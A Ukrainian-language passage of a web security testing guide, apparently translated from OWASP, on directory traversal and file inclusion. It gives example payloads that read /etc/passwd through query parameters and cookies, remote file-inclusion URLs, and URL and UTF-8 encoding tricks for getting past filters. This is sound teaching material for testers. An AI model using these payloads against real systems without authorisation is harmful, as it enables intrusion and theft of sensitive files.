2.1 Testing Directory Traversal File Include
Суть вразливості:
Багато веб-застосунків використовують файли та керують ними у повсякденній роботі. Використовуючи методи перевірки введення, які не були правильно спроектовані або розгорнуті, ми надаємо таким чином зловмиснику бекдор для читання або запису файлів, які не призначені для доступу до нього. У певних ситуаціях можна виконувати довільний код або системні команди, керуючи сервером.
Традиційно в серверах та веб-додатках реалізують механізми автентифікації для керування доступом до файлів та сайтів. Сервери намагаються обмежити файли користувачів усередині «кореневого каталогу», який є фізичним каталогом у файловій системі.
Визначення привілеїв здійснюється за допомогою списків керування доступу (ACL), які визначають, які користувачі або групи можуть отримувати доступ до змін або лише читання файлів на сервері. Ці механізми призначені, щоб запобігти доступу зловмисників до конфіденційних файлів (наприклад, до спільного файлу /etc/passwd в UNIX-подібних платформах) або щоб уникнути виконання системних команд на сервері.
Багато веб-застосунків використовують сценарії на стороні сервера для відображення різних типів файлів. Цей метод досить часто використовується для керування зображеннями, шаблонами тощо. На жаль, ці дії розкривають величезний спектр для вразливостей, якщо їх вхідні параметри (наприклад, параметри форми, значення файлів cookie) не перевіряються правильно.
На веб-серверах і веб-додатках такі атаки виникають при обході шляху до файлу. Використовуючи цей вид уразливості, зловмисник може читати каталоги або файли, які він зазвичай не міг би прочитати, отримувати доступ до даних поза коренем документа. Цей вид атаки також відомий як атака точка-точка-коса риса (../), обхід каталогу, перехід за каталогом або повернення вище за каталогом.
Перелік вхідних векторів Щоб визначити, яка частина програми є вразливою для обходу перевірки введення, тестувальник повинен: перерахувати всі частини програми, які приймають контент від користувача. Це також включає HTTP GET та POST запити та загальні параметри, такі як завантаження файлів та HTML-форми. Ось кілька прикладів перевірок, які необхідно виконати на цьому етапі: - Чи є параметри запиту, які можна використовувати для операцій із файлами? - Чи є незвичні розширення файлів? - Чи є цікаві імена у змінних?
Як протестувати
Перелік вхідних векторів Щоб визначити, яка частина програми є вразливою для обходу перевірки введення, тестувальник повинен: перерахувати всі частини програми, які приймають контент від користувача. Це також включає HTTP GET та POST запити та загальні параметри, такі як завантаження файлів та HTML-форми. Ось кілька прикладів перевірок, які необхідно виконати на цьому етапі:
- Чи є параметри запиту, які можна використовувати для операцій із файлами?
- Чи є незвичні розширення файлів?
- Чи є цікаві імена у змінних?
-- http://example.com/getUserProfile.jsp?item=ikki.html
-- http://example.com/index.php?file=content
-- http://example.com/main.cgi?home=index.htm
- Чи можна ідентифікувати файли cookie, які використовуються веб-програмою для динамічного створення сторінок або шаблонів?
-- Cookie: ID = d9ccd3f4f9f18cc1: TM = 2166255468: LM = 1162655568: S = 3cFpqbJgMSSPKVMV: TEMPLATE = flower
-- Сookie: USER = 1826cc8f: PSTYLE = GreenDotRed
Методи тестування
Наступним етапом тестування є аналіз функцій перевірки введення, що є у додатку. Наприклад, динамічна сторінка з ім'ям getUserProfile.jsp завантажує статичну інформацію з файлу та показує її вміст користувачам. Зловмисник може вставити шкідливий рядок "../../../../etc/passwd", щоб увімкнути хеш-файлу паролів, що працює для Linux / UNIX систем.
Щоб успішно перевірити цей недолік, тестувальник повинен знати тестовану систему та розташування запитуваного файлу. Немає сенсу вимагати /etc/passwd з веб-сервера IIS, тому що для нього ця команда не працює.
http://example.com/getUserProfile.jsp?item=../../../../etc/passwd
Наприклад з файлом cookie:
Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd
Також можна включати файли та скрипти, розміщені на зовнішньому веб-сайті.
http://example.com/index.php?file=http://www.owasp.org/malicioustxt
Якщо протоколи приймають аргументи, як у наведеному вище прикладі, також можна перевірити локальну файлову систему у цьому шляху.
http://example.com/index.php?file=file:///etc/passwd
Якщо протоколи приймаються як аргументи, як у наведених вище прикладах, також можна перевірити місцеві служби та прилеглі послуги.
У цьому прикладі показано, як можна показати вихідний код компонента CGI без використання будь-яких символів обходу шляху.
http://example.com/main.cgi?home=main.cgi
Компонент main.cgi перебуває у тому каталозі, як і звичайні статичні файли HTML. У деяких випадках тестеру необхідно кодувати запити за допомогою спеціальних символів (наприклад, ., %00 null, ...), щоб обійти елементи керування розширеннями файлів. Розробники часто помиляються, якщо не очікують усіх форм кодування і роблять перевірку лише на один із методів кодування. Якщо у вас не вдалося з одним методом кодування знайти вразливість, спробуйте іншу схему кодування.
Кожна операційна система використовує різні символи як роздільник шляху:
Unix OS:
- root directory: " / "
- directory separator: “ / “
Windows OS ’Shell’:
- root directory: “: “
- directory separator: “" or “/“Classic
Mac OS:
-root directory: “ : “
-directory separator: “ : “
Ми повинні враховувати такі механізми кодування символів:
- Кодування URL та подвійне кодування URL
-- %2e%2e%2f кодована ../
-- %2e%2e/ кодована ../
-- ..%2f кодована ../
-- %2e%2e%5c кодована ..
-- %2e%2e кодована ..
-- ..%5c кодована ..
-- %252e%252e%255c кодована ..
-- ..%255c кодована ..
і так далі можна продовжувати кодувати будь-які значення.
- Кодування Unicode/UTF-8 (працює тільки в системах, які можуть приймати занадто довгі значення UTF-8)
-- ..%c0%af кодована ../
-- ..%c1%9c кодована ..
Є й інші лайфхаки, пов'язані з ОС та фреймворком додатків. Наприклад, Windows гнучка в парсингу шляхів до файлів.
Windows shell: використання будь-якого зі значень у дорозі, у командному рядку, не змінюють роботу у функції:
-- Кутові дужки «>» та «<» наприкінці шляху -- Подвійні лапки (закриті правильно) наприкінці шляху
-- Сторонні маркери поточного каталогу, такі як «./» або «.»
-- Сторонні маркери батьківського каталогу з довільними елементами, які можуть існувати або не існувати Приклади:
--- file.txt
--- file.txt...
--- file.txt
--- file.txt””””
--- file.txt<<<>>><
--- ./././file.txt
--- nonexistant/../file.txt
Tools
DotDotPwn - The Directory Traversal Fuzzer